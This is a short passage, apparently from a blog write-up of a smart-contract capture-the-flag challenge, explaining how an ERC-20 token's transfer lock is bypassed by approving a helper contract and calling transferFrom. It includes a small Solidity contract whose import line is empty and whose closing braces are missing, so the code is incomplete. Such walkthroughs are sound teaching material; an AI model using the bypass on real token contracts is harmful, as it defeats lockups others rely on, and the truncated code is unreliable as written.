Here we have a simple ERC-20 contract in our hands, that prevents us to transfer money to someone. However, this does not prevent us to approve that someone, and let them call transferFrom to take our money. That is precisely what we are going to do. We create and deploy a simple contract:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0; 

import "";

contract NaughtWithdraw {
  function withdrawFrom(address _tokenAddr, address _from, uint _amount) public {
    bool success = IERC20(_tokenAddr).transferFrom(_from, address(this), _amount);
    require(success, "failed!");
Enter fullscreen mode Exit fullscreen mode

Then, we simply approve all our tokens to this address, and call withdrawFrom there with the respective parameters.
